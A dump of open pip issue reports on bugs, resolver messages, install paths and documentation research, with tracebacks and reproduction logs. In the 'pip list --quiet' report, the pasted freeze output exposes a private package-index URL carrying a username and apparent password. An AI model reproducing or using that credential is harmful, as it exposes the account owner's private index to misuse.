  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/operations/install/wheel.py", line 426, in install_unpacked_wheel
    console, gui = get_entrypoints(ep_file)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/operations/install/wheel.py", line 125, in get_entrypoints
    entry_points = pkg_resources.EntryPoint.parse_map(data)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2535, in parse_map
    maps[group] = cls.parse_group(group, lines, dist)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2513, in parse_group
    ep = cls.parse(line, dist)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2491, in parse
    raise ValueError(msg, src)
ValueError: ("EntryPoint must be in 'name=module:attrs [extras]' format", 'a = a:')
```

</details>

<details>
<summary><code>pip debug</code></summary>

```
$ ./env/bin/python -m pip debug
WARNING: This command is only meant for debugging. Do not use this with automation for parsing and getting these details, since the output and options of this command may change without notice.
pip version: pip 20.1.1 from /tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip (python 3.8)
sys.version: 3.8.0 (default, Jan  4 2020, 14:08:19)
[GCC 7.5.0]
sys.executable: /tmp/user/1000/tmp.FMLLJSRxGK/env/bin/python
sys.getdefaultencoding: utf-8
sys.getfilesystemencoding: utf-8
locale.getpreferredencoding: UTF-8
sys.platform: linux
sys.implementation:
  name: cpython
'cert' config value: global
REQUESTS_CA_BUNDLE: None
CURL_CA_BUNDLE: None
pip._vendor.certifi.where(): /tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_vendor/certifi/cacert.pem
pip._vendor.DEBUNDLED: False
vendored library versions:
  appdirs==1.4.3
  CacheControl==0.12.6
  colorama==0.4.3
  contextlib2==0.6.0.post1 (Unable to locate actual module version, using vendor.txt specified version)
  distlib==0.3.0
  distro==1.5.0 (Unable to locate actual module version, using vendor.txt specified version)
  html5lib==1.0.1
  ipaddress==1.0.23
  msgpack==1.0.0 (Unable to locate actual module version, using vendor.txt specified version)
  packaging==20.3
  pep517==0.8.2
  progress==1.5
  pyparsing==2.4.7
  requests==2.23.0
  certifi==2020.04.05.1
  chardet==3.0.4
  idna==2.9
  urllib3==1.25.8
  resolvelib==0.3.0
  retrying==1.3.3 (Unable to locate actual module version, using vendor.txt specified version)
  setuptools==44.0.0 (Unable to locate actual module version, using vendor.txt specified version)
  six==1.14.0
  toml==0.10.0
  webencodings==0.5.1 (Unable to locate actual module version, using vendor.txt specified version)
Compatible tags: 87
  cp38-cp38-manylinux2014_x86_64
  cp38-cp38-manylinux2010_x86_64
  cp38-cp38-manylinux1_x86_64
  cp38-cp38-linux_x86_64
  cp38-abi3-manylinux2014_x86_64
  cp38-abi3-manylinux2010_x86_64
  cp38-abi3-manylinux1_x86_64
  cp38-abi3-linux_x86_64
  cp38-none-manylinux2014_x86_64
  cp38-none-manylinux2010_x86_64
  ...
  [First 10 tags shown. Pass --verbose to show all.]
```

</details>
user: chrahunt
labels: type: bug: A confirmed bug or unintended behavior
kind: crash: For situations where pip crashes
issue_8564: state: open
title: `pip list --quiet` squelches normal output
body: **Environment**

* pip version: 20.1.1
* Python version: Python 2.7/3.8
* OS: Arch Linux

**Description**
When running `pip list --quiet` or `pip list --quiet --quiet`, normal output is suppressed, not just warnings. This differs from the behavior of `pip freeze` (which I am switching from as advised in https://github.com/pypa/pip/issues/8174#issuecomment-621649797).

**Expected behavior**
Package listing is output, but no warnings.

**Actual behavior**
With `--quiet`, only warnings are output. With `--quiet --quiet`, nothing is output.

**How to Reproduce**

* Run in Python 2 so that you get the deprecation notice. (This is not necessary, but illustrates better what's happening.)
* Have a few packages installed.

See below for commands to try.

**Output**

```sh
$ pip2 list --format=freeze
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
appdirs==1.4.4
[…]
$ pip2 list --format=freeze --quiet
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
$ pip2 list --format=freeze --quiet --quiet
```

For comparison:

```sh
$ pip2 freeze                       
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
appdirs==1.4.4
[…]
$ pip2 freeze --quiet
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
-f https://leifarne%40auka.io:8YxwbRIe4MAlV5XtXBGVVRY68DWb4S2Rc4x1qNeO6vA@auka-build-tools.appspot.com/find-links
appdirs==1.4.4
[…]
$ pip2 freeze --quiet --quiet
appdirs==1.4.4
[…]
```
user: aukalas
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8550: state: open
title: Removing "pkg_resources.get_distribution" usage from pip's codebase
body: We have gotten rid of `pkg_resources.get_distribution` in almost all the places in pip's codebase in https://github.com/pypa/pip/pull/8054 except one.

https://github.com/pypa/pip/blob/334f06e2248c6114ee4899515c5737845a6a0fcd/src/pip/_internal/req/req_install.py#L443-L468


The idea to get rid of `pkg_resources.get_distribution`  from other places was taken from https://github.com/pypa/pip/pull/8054#discussion_r425028035 , but this was deferred to a follow-up PR given that the existing PR was already getting big, and it wasn't trivial to update the last function using that construct. 

This issue is opened to drive discussion on how to implement the same. 
user: deveshks
labels: type: maintenance: Related to Development and Maintenance Processes
S: needs triage: Issues/PRs that need to be triaged
issue_8549: state: open
title: Unable to uninstall packages if site-packages is a symlink
body: ### Environment
* pip version: 20.1.1
* Python version: 3.7.5
* OS: Ubuntu 19.10
* virtualenv: 20.0.21

### Description
If the site-packages directory has been moved (in my case to a large disk drive) and then symbolically linked to, package installation and importing works fine. However, when trying to uninstall a package, pip sees the package outside of the environment, and skips its uninstallation.

### Expected behavior
Successful uninstallation

### How to Reproduce
1. Create a virtual environment
2. Move the site-packages directory to an external location, and symbolically link to it in its place
3. Install any package in that environment
4. Uninstall that package in that environment

```bash
VENV_DIR=/media/data/venv-data/
virtualenv -v .venv
mv -vT .venv/lib ${VENV_DIR}tmp_lib
ln -vrs ${VENV_DIR}/tmp_lib .venv/lib

source .venv/bin/activate
pip install requests
pip uninstall requests
python -c "import requests; assert not requests.get"
```

### Output
```
(.venv) ~/tmp/ $ pip uninstall requests
Found existing installation: requests 2.24.0
Not uninstalling requests at /media/data/venv-data/tmp_lib/python3.7/site-packages, outside environment ~/tmp/.venv
Can't uninstall 'requests'. No files were found to uninstall.
(.venv) ~/tmp/ $ python -c "import requests; assert not requests.get"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
AssertionError
```
user: EpicWink
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8523: state: open
title: Identify invalid/unknown options or environment variables via "pip config debug"
body: Now that https://github.com/pypa/pip/issues/6741 has been closed, a follow up for that has been requested in https://github.com/pypa/pip/pull/8096#pullrequestreview-438579787

To reiterate, we should be able identify options specified in pip config files which are invalid, optionally trying to identify the closest option available to the provided option, and suggesting it to the user.

For e.g. `PIP_TOTO=titi pip config debug` should state that `TOTO` is an invalid option, but for something like `global.timout: 10`, we can both state that `timout` is an invalid option, but `timeout` is a suggestion which can be suggested.

We should ideally discuss first on whether this is a good enough extension of `debug` subcommand of `pip config` to be implemented, and come up with a rough idea to implement it, and iterate on it over a PR.
user: deveshks
labels: type: enhancement: Improvements to functionality
C: configuration: Configuration management and loading
issue_8517: state: open
title: Carry out research about pip documentation
body: ## Research questions:

**i.e. what do we want to know?**

- When pip users have a problem or experience an error, what do they do? (note: crossover with #8518)
- When pip users want to accomplish a specific task, what do they do? (note: crossover with #8518)
- How do users use pip's _current_ documentation?
    - Does it provide good orientation / is the structure clear?
    - Does the documentation _look_ "official"?
        - Does it look trustworthy?
        - Does it look like an "official" Python property?
    - Do users understand the terminology?
- How do users distinguish between pip documentation and other documentation in the packaging ecosystem (e.g. packaging.python.org, PyPI help page, etc.)?
- How do pip/packaging maintainers think about documentation and write documentation?
    - Is it obvious where documentation should go?
    - What ideas do they have about improving the docs?
    - Are there (written or unwritten) documentation standards?

## Preliminary research plan

**i.e. how are we going to find all that out?**

Note: We should expect some foundational insights from @ei8fdb's work on [Carry out research to understand who uses pip](https://github.com/pypa/pip/issues/8518)

Some initial ideas:

- Investigate if we can use analytics to draw conclusions about pip's docs (e.g. time on page, etc.)
- Gather feedback while users are on pip's documentation (e.g. allow users to send feedback in real time)
- Conduct user interviews with a range of pip users
- Ask users to participate in journal studies
- Collect feedback from the community via surveys
- Conduct interviews with packaging maintainers


## Resources

**i.e. where can we go for help?**

- [Divio documentation system](https://documentation.divio.com/): breaks down documentation into 4 segments: tutorials, how-to guides, technical reference and explanation
- [Google technical writing course](https://developers.google.com/tech-writing)
- [Write the docs resources](https://www.writethedocs.org/guide/)
- [How to test the usability of documents](https://www.uxmatters.com/mt/archives/2020/05/how-to-test-the-usability-of-documents.php)
- [Information architecture basics](https://www.usability.gov/what-and-why/information-architecture.html)

## People

**i.e. who can help us?**

- @evildmp
    - Review research plan
    - Review outputs / recommendations (see below)
    - Periodic involvement as docs are rebuilt

- @jdittrich
    - Assist in collecting and analysing data
    - Note: Jan has an academic interest in how people understand documentation (PHD subject)


## Outputs

**i.e. what will we have at the end of all this?**

1. Documentation _about_ pip's documentation - how it is used, it's shortcomings, etc.
1. Strategy for how to restructure / rewrite pip's documentation
1. Guide for how to contribute to pip's documentation, outlining:
    - documentation best practices / principles
    - copywriting styleguide / glossary of terms

## Questions for the team

**To be discussed with the pip maintainers**

- Which research questions (from the list above) are most important?
- What is the best way to involve the team when working out the strategy for restructuring / rewriting the docs?
    - Should we run a workshop on this?
    - Should UX periodically present our ideas for feedback?
      - How often? 
      - What channel? (team meeting, HackMD review, GitHub, other?)
- How can we put in place the resources / people to execute the strategy?
    - Is it within the scope of the currently funded work?
    - If not, how can we move forward on this?
user: ei8fdb
labels: type: docs: Documentation related
UX: User experience related
issue_8509: state: open
title: Splitting a package into two packages leads pip to corrupt the packages when upgrading to the new versions
body: (Forgive me if this is a duplicate... It seems like a problem that should have been reported in the past [I've heard that the transition from docker-py to docker resulted in similar problems].  I couldn't find any search terms that found an existing bug report so I'm opening a new one)

**Environment**

* pip version: 20.1.1
* Python version: 3.7
* OS: Fedora Linux

<!-- Feel free to add more information about your environment here -->

**Description**
The ansible-2.9.x package is one large, monolithic package.  ansible-2.10.x splits this package into two:

* an ansible-base package which contains the executables (not entrypoints, if that matters) and the site-packages/ansible library with most of the files which were in ansible-2.9.x.
* an ansible package which contains all of the addons to the ansible-base package.  These are installed into site-packages/ansible_collections.

The ansible-2.10.x package has a dependency on the ansible-base packages.  This way people who only need the minimal functionality can `pip install ansible-base`  (>=2.10.0b1).  People who just want to get the same experience as ansible-2.9.x can `pip install ansible` (>=2.10.0a1) .

A clean install works fine:
```
pip uninstall ansible
pip install ansible==2.10.0a1
# Results in ansible-base-2.10.0b1 and ansible-2.10.0a1 installing correctly.
# Looking at the filesystem will find that all of the correct files are present.
# ansible --version will work
```

The problem is upgrades:
```
pip install ansible==2.9.10
pip install ansible==2.10.0a1
# Results in ansible-base-2.10.0b1 and ansible-2.10.0a1 being installed but with missing files
# The files which were in ansible-2.9.10 are erased from the filesystem,
# leaving ansible-base-2.10.0b1 in a broken state
# The reason is that pip first installs ansible-base-2.10.0a1 and then, when it uninstalls ansible-2.9.10,
# it doesn't realize that the ansible-base files have overwritten the same named files in ansible-2.9.10
# and that they should not be removed.
```


<!-- A clear and concise description of what the bug is. -->

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
I expect that upgrading the package will lead to a system where both new packages are installed with all of the files that the new packages include.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. python3.7 -m pip install --user ansible==2.9.10
2. python3.7 -m pip install --user ansible==2.10.0a1
3. ls -al ~/.local/bin/ansible
    * ls: cannot access '/home/badger/.local/bin/ansible': No such file or directory
4. ls -al ~/.local/lib/python3.7/site-packages/ansible/__init__.py
    * ls: cannot access '/home/badger/.local/lib/python3.7/site-packages/__init__.py': No such file or directory


**Output**

``` bash
[pts/145@peru /var/tmp/testing]$ python3.7 -m pip install --user ansible==2.9.10                          (08:10:37)
Processing /home/badger/.cache/pip/wheels/bb/e6/9a/05f0b546d96bc1da05865504c3481a4fd3a1b3fd48a38d53a1/ansible-2.9.10-py3-none-any.whl
Requirement already satisfied: PyYAML in /home/badger/.local/lib/python3.7/site-packages (from ansible==2.9.10) (5.3.1)
Requirement already satisfied: jinja2 in /home/badger/.local/lib/python3.7/site-packages (from ansible==2.9.10) (2.11.2)
Requirement already satisfied: cryptography in /home/badger/.local/lib/python3.7/site-packages (from ansible==2.9.10) (2.3.1)
Requirement already satisfied: MarkupSafe>=0.23 in /home/badger/.local/lib/python3.7/site-packages (from jinja2->ansible==2.9.10) (1.1.1)
Requirement already satisfied: cffi!=1.11.3,>=1.7 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible==2.9.10) (1.11.5)
Requirement already satisfied: idna>=2.1 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible==2.9.10) (2.8)
Requirement already satisfied: asn1crypto>=0.21.0 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible==2.9.10) (0.24.0)
Requirement already satisfied: six>=1.4.1 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible==2.9.10) (1.15.0)
Requirement already satisfied: pycparser in /home/badger/.local/lib/python3.7/site-packages (from cffi!=1.11.3,>=1.7->cryptography->ansible==2.9.10) (2.19)
Installing collected packages: ansible
Successfully installed ansible-2.9.10
[pts/145@peru /var/tmp/testing]$ python3.7 -m pip install --user ansible==2.10.0a1                        (08:11:10)
Processing /home/badger/.cache/pip/wheels/1a/52/25/c9e776b2df588061cd9dc831740416edb7e276f5ffe7a8d8d3/ansible-2.10.0a1-py3-none-any.whl
Processing /home/badger/.cache/pip/wheels/dd/db/f0/0890f4f13dd6446092ba5d76f55d62528b52ca6ab74ea871d4/ansible_base-2.10.0b1-py3-none-any.whl
Requirement already satisfied: jinja2 in /home/badger/.local/lib/python3.7/site-packages (from ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (2.11.2)
Requirement already satisfied: cryptography in /home/badger/.local/lib/python3.7/site-packages (from ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (2.3.1)
Requirement already satisfied: packaging in /home/badger/.local/lib/python3.7/site-packages (from ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (20.4)
Requirement already satisfied: PyYAML in /home/badger/.local/lib/python3.7/site-packages (from ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (5.3.1)
Requirement already satisfied: MarkupSafe>=0.23 in /home/badger/.local/lib/python3.7/site-packages (from jinja2->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (1.1.1)
Requirement already satisfied: asn1crypto>=0.21.0 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (0.24.0)
Requirement already satisfied: idna>=2.1 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (2.8)
Requirement already satisfied: six>=1.4.1 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (1.15.0)
Requirement already satisfied: cffi!=1.11.3,>=1.7 in /home/badger/.local/lib/python3.7/site-packages (from cryptography->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (1.11.5)
Requirement already satisfied: pyparsing>=2.0.2 in /home/badger/.local/lib/python3.7/site-packages (from packaging->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (2.4.7)
Requirement already satisfied: pycparser in /home/badger/.local/lib/python3.7/site-packages (from cffi!=1.11.3,>=1.7->cryptography->ansible-base<2.11,>=2.10.0.dev1->ansible==2.10.0a1) (2.19)
Installing collected packages: ansible-base, ansible
  Attempting uninstall: ansible
    Found existing installation: ansible 2.9.10
    Uninstalling ansible-2.9.10:
      Successfully uninstalled ansible-2.9.10
Successfully installed ansible-2.10.0a1 ansible-base-2.10.0b1
[pts/145@peru /var/tmp/testing]$ ls -al ~/.local/bin/ansible                                              (08:12:13)
ls: cannot access '/home/badger/.local/bin/ansible': No such file or directory
[pts/145@peru /var/tmp/testing]$ ls -al ~/.local/lib/python3.7/site-packages/ansible/__init__.py          (08:14:19)
ls: cannot access '/home/badger/.local/lib/python3.7/site-packages/ansible/__init__.py': No such file or directory
[pts/145@peru /var/tmp/testing]$ ls -al ~/.local/lib/python3.7/site-packages/ansible/modules/ping.py      (08:14:29)
-rw-r--r--. 1 badger badger 2090 Jun 28 08:11 /home/badger/.local/lib/python3.7/site-packages/ansible/modules/ping.py
```

user: abadger
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8499: state: open
title: Clearer handling of missing header files.
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

>What are you trying to do, that you are unable to achieve with pip

I am trying to do 2 things.

1.  Currently pip does not handle build failure nicely with missing header files. I want to make this easier to do.
2.  Add option  to pip to install the correct header file

When a build fails it put a lot of unneeded info on the screen and makes it difficult to find out which header file is missing.

I think this could be solved by doing one of 2 methods 

Note:
>wright now I just concerned with problem  1.) I just putting problem **2 there just for completeness of what i am trying to do**.
I will fill another issue for **2** latter if you think it would be a good idea for me to do so. Taking  on one problem at a time.

Method 1
=======
Use Automake instead of make 
and install file by hand  or
with an option to do it automatically (by use an alternative PEP 517) build tool with  
[PackageKit](https://www.freedesktop.org/software/PackageKit/) support

Method 2
=======
Rewrite the functionality of the two programs above: Automake,  PackageKit.


**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
I want it to just show me **a  line** instead of a bunch of output that is irrelevant of what causing problems.  When it can't find a header file it be nice if it say missing development header for opengl or whatever.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

by having it use automake it could fail before it tries to build making things easier to read 

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

Write now i just been working around it by guessing at which header file is missing and trying to find it in Debian packages   
very messy and slow process.  I was think of looking up the command for Debian searching for file and looking for the missing headers and write a script to do this for me.

I thought if  I wrote a script to try to capture the output of pip wheel build failure, it would be a good idea to give it back to pip community.

I was thinking about putting this in the **packing problem** or **setup tool**  but this is a feature i want in pip so i thought I should put it here.  

I been wanting to try and find something I can work on and  I know this is not it. **I should start with something simpler from the first issue** but thing like this always bothered me and I would like to read and be involve on implemented something like this.


**Additional context**

**Please forgive me if this is not the right place to post this** It goes across many different areas     

user: frog-o
labels: type: support: User Support
issue_8495: state: open
title: New resolver error message is confusing if a package has inconsistent dependencies
body: Given this package:

```python
# setup.py
from setuptools import setup
setup(
    name='testpkg',
    version='1',
    # virtualenv==20.0.25 requires six>=1.9.
    install_requires=['six<1.9', 'virtualenv==20.0.25'],
)
```

This produces the following error message:

```
ERROR: Cannot install testpkg 1 and testpkg because these package versions have conflicting dependencies.

The conflict is caused by:
    testpkg 1 depends on six<1.9
    virtualenv 20.0.25 depends on six<2 and >=1.9.0

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible For help visit: https://pip.pypa.io/en/stable/user_guide/#dependency-conflicts-resolution-impossible
```

`testpkg` shows up twice in the first `ERROR:` message, which looks confusing. It is “correct” that `testpkg` is conflicting with itself, but we probably need to produce a message that makes more sense to humans.

cc @nlhkabu @pfmoore 

Note: I don’t think this should block beta since this kind of packages is already broken, and likely to be relatively rare. And the message is not that bad either; everything after the first line still makes sense in this situation.
user: uranusjr
labels: C: dependency resolution: About choosing which dependencies to install
UX: User experience related
C: error messages: Improving error messages
issue_8494: state: open
title: An ERROR specifying git revision starts with"#".
body: **Environment**

* pip version: 20.1.1
* Python version: >= 3.6.8
* OS: CentOS 8 x64

**Description**
When installing some package from git repository, an ERROR occurs specifying revision (branch or tag) **starts from "#"**.

**Expected behavior**

Should be escaped quoting by '"'.
It is escaped correctly in NOT latest version.

**How to Reproduce**

1. Creating a branch starts from "#"  in source repository (e.g. `#some-branch`).
1. Upgrade pip to latest version
1. Installing package using git mode. (`git+[repository-url]`)

**Output**

Using Docker container `python:3.7.7-slim` image.

```shell
# before upgrade
root@dce452930fd9:/# pip --version
pip 20.0.2 from /usr/local/lib/python3.7/site-packages/pip (python 3.7)

root@dce452930fd9:/# pip install "git+[repository-url].git@#some-branch"
Collecting git+[repository-url].git@#some-branch
  Cloning [repository-url].git to /tmp/pip-req-build-net_angj
  Running command git clone -q [repository-url].git /tmp/pip-req-build-net_angj
  ...
Successfully built ~~~
Successfully installed

# upgrade to latest version
root@dce452930fd9:/# pip install --upgrade pip
Collecting pip
  Downloading pip-20.1.1-py2.py3-none-any.whl (1.5 MB)
     |████████████████████████████████| 1.5 MB 4.0 MB/s 
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.0.2
    Uninstalling pip-20.0.2:
      Successfully uninstalled pip-20.0.2
Successfully installed pip-20.1.1
root@dce452930fd9:/# pip --version
pip 20.1.1 from /usr/local/lib/python3.7/site-packages/pip (python 3.7)

root@dce452930fd9:/# pip install "git+[repository-url].git@#some-branch"
Collecting git+[repository-url].git@#some-branch
ERROR: The URL 'git+[repository-url].git@#some-branch' has an empty revision (after @) which is not supported. Include a revision after @ or remove @ from the URL.
```


user: skokado
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
type: support: User Support
issue_8477: state: open
title: pip installs headers to incorrect location when using '--root'
body: **Environment**

* pip version: 20.1.1
* Python version: Python 3.8.3
* OS: Debian 10.4

<!-- Feel free to add more information about your environment here -->

**Description**
Installing an extension from source which ships headers results in installing the headers in the wrong destination. It appears that the value of `--install-headers` is appended to `--root`.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
The headers should be installed into the includes directory under the prefix location (`--root`).


**How to Reproduce**


```
python3.8 -m pip install --no-deps -vvv  --no-binary :all: --root /tmp/greenlet greenlet==0.4.16
```

```
   Running command /usr/local/bin/python3.8 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-hpyyby3f/greenlet/setup.py'"'"'; __file__='"'"'/tmp/pip-install-hpyyby3f/greenlet/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /tmp/pip-record-1x66znm7/install-record.txt --single-version-externally-managed --root /tmp/greenlet --compile --install-headers /tmp/greenlet/usr/local/include/python3.8/greenlet
    running install
    running build
    running build_ext
    building 'greenlet' extension
    creating build
    creating build/temp.linux-x86_64-3.8
    gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -I/usr/local/include/python3.8 -c greenlet.c -o build/temp.linux-x86_64-3.8/greenlet.o
    creating build/lib.linux-x86_64-3.8
    gcc -pthread -shared build/temp.linux-x86_64-3.8/greenlet.o -L/usr/local/lib -o build/lib.linux-x86_64-3.8/greenlet.cpython-38-x86_64-linux-gnu.so
    running install_lib
    creating /tmp/greenlet
    creating /tmp/greenlet/usr
    creating /tmp/greenlet/usr/local
    creating /tmp/greenlet/usr/local/lib
    creating /tmp/greenlet/usr/local/lib/python3.8
    creating /tmp/greenlet/usr/local/lib/python3.8/site-packages
    copying build/lib.linux-x86_64-3.8/greenlet.cpython-38-x86_64-linux-gnu.so -> /tmp/greenlet/usr/local/lib/python3.8/site-packages
    running install_headers
    creating /tmp/greenlet/tmp
    creating /tmp/greenlet/tmp/greenlet
    creating /tmp/greenlet/tmp/greenlet/usr
    creating /tmp/greenlet/tmp/greenlet/usr/local
    creating /tmp/greenlet/tmp/greenlet/usr/local/include
    creating /tmp/greenlet/tmp/greenlet/usr/local/include/python3.8
    creating /tmp/greenlet/tmp/greenlet/usr/local/include/python3.8/greenlet
    copying greenlet.h -> /tmp/greenlet/tmp/greenlet/usr/local/include/python3.8/greenlet
```

As seen above the `greenlet.h` file is installed into `/tmp/greenlet/tmp/greenlet/usr/local/include/python3.8/greenlet`. It seems that the value of `--install-headers` is appended to the  value of `--root`.


To get the correct behaviour one needs to modify the `setuptools` arguments and remove the prefix from `--install-headers`:

```
python3.8 ./setup.py install --record /tmp/pip-record-7__qmu5v/install-record.txt  --root /tmp/greenlet --compile --install-headers /usr/local/include/python3.8/greenlet
```

I wonder if this was introduced by the `Scheme` class. Judging from https://github.com/pypa/pip/commit/6fa64a6b285ae8e5daaccbf346fb922bd023a494 this used to be only set under `virtualenv` (and then it was set without the prefix directory). I checked and removing the `--install-headers` in the `setuptools` call works correctly in conjunction with `--root` and the header is installed into the prefix directory.

user: lkollar
labels: type: bug: A confirmed bug or unintended behavior
issue_8476: state: open
title: FileNotFoundError: [Errno 2] No such file or directory: '/usr/local/lib/python3.8/dist-packages/setuptools-47.3.1.post20200622-py3.8.egg'
body: **Environment**

* pip version: acab2ee54ed25edd44edbdf793a4b1d173bfbcb1
* Python version: 3.8
* OS: Debian `sid`

https://gitlab.com/KOLANICH-subgroups/docker-images/fixed_python/-/jobs/605338717

**Description**
I install setuptools and pip from git:

```
  git clone --depth=1 https://github.com/pypa/setuptools.git;
  cd ./setuptools;
  python3 ./bootstrap.py;
  python3 ./setup.py install;
  cd ..;
  git clone --depth=1 https://github.com/pypa/wheel.git;
  cd wheel;
  python3 ./setup.py install;
  cd ..;
  git clone --depth=1 https://github.com/pypa/pip.git;
  cd ./pip;
  cd src;
  python3 -m pip install ..;
  cd ../..;
  cd ./setuptools;
  python3 -m pip install --upgrade --pre .;
  cd ..;
```

**Expected behavior**
Should install.

**How to Reproduce**
https://gitlab.com/KOLANICH-subgroups/docker-images/fixed_python/-/blob/1e5e1f212539d723c022bc01fcf7d7e9903d7b64/Dockerfile

**Output**

```
Processing /tmp/setuptools
711   Installing build dependencies: started
712   Installing build dependencies: finished with status 'done'
713   Getting requirements to build wheel: started
714   Getting requirements to build wheel: finished with status 'done'
715     Preparing wheel metadata: started
716     Preparing wheel metadata: finished with status 'done'
717 Building wheels for collected packages: setuptools
718   Building wheel for setuptools (PEP 517): started
719   Building wheel for setuptools (PEP 517): finished with status 'done'
720   Created wheel for setuptools: filename=setuptools-47.3.1.post20200622-py3-none-any.whl size=583135 sha256=35c79d7467809c761c30e266ed01d69fa42fa437f3173e21f7de80a6c02b7696
721   Stored in directory: /tmp/pip-ephem-wheel-cache-_t572fv9/wheels/69/8b/11/d38c54a76634f6dbb1bdf5df3c4b3ccf9cce7c5312da00f079
722 Successfully built setuptools
723 Installing collected packages: setuptools
724   Attempting uninstall: setuptools
725     Found existing installation: setuptools 47.3.1.post20200622
726     Uninstalling setuptools-47.3.1.post20200622:
727       Successfully uninstalled setuptools-47.3.1.post20200622
728 Successfully installed setuptools-47.3.1.post20200622
729 Traceback (most recent call last):
730   File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
731     return _run_code(code, main_globals, None,
732   File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
733     exec(code, run_globals)
734   File "/usr/local/lib/python3.8/dist-packages/pip/__main__.py", line 26, in <module>
735     sys.exit(_main())
736   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/main.py", line 75, in main
737     return command.main(cmd_args)
738   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/base_command.py", line 120, in main
739     return self._main(args)
740   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/base_command.py", line 245, in _main
741     self.handle_pip_version_check(options)
742   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/req_command.py", line 151, in handle_pip_version_check
743     session = self._build_session(
744   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/cli/req_command.py", line 92, in _build_session
745     session = PipSession(
746   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/network/session.py", line 249, in __init__
747     self.headers["User-Agent"] = user_agent()
748   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/network/session.py", line 159, in user_agent
749     setuptools_version = get_installed_version("setuptools")
750   File "/usr/local/lib/python3.8/dist-packages/pip/_internal/utils/misc.py", line 611, in get_installed_version
751     working_set = pkg_resources.WorkingSet()
752   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 567, in __init__
753     self.add_entry(entry)
754   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 623, in add_entry
755     for dist in find_distributions(entry, True):
756   File "/usr/local/lib/python3.8/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 1983, in find_eggs_in_zip
757     if metadata.has_metadata('PKG-INFO'):
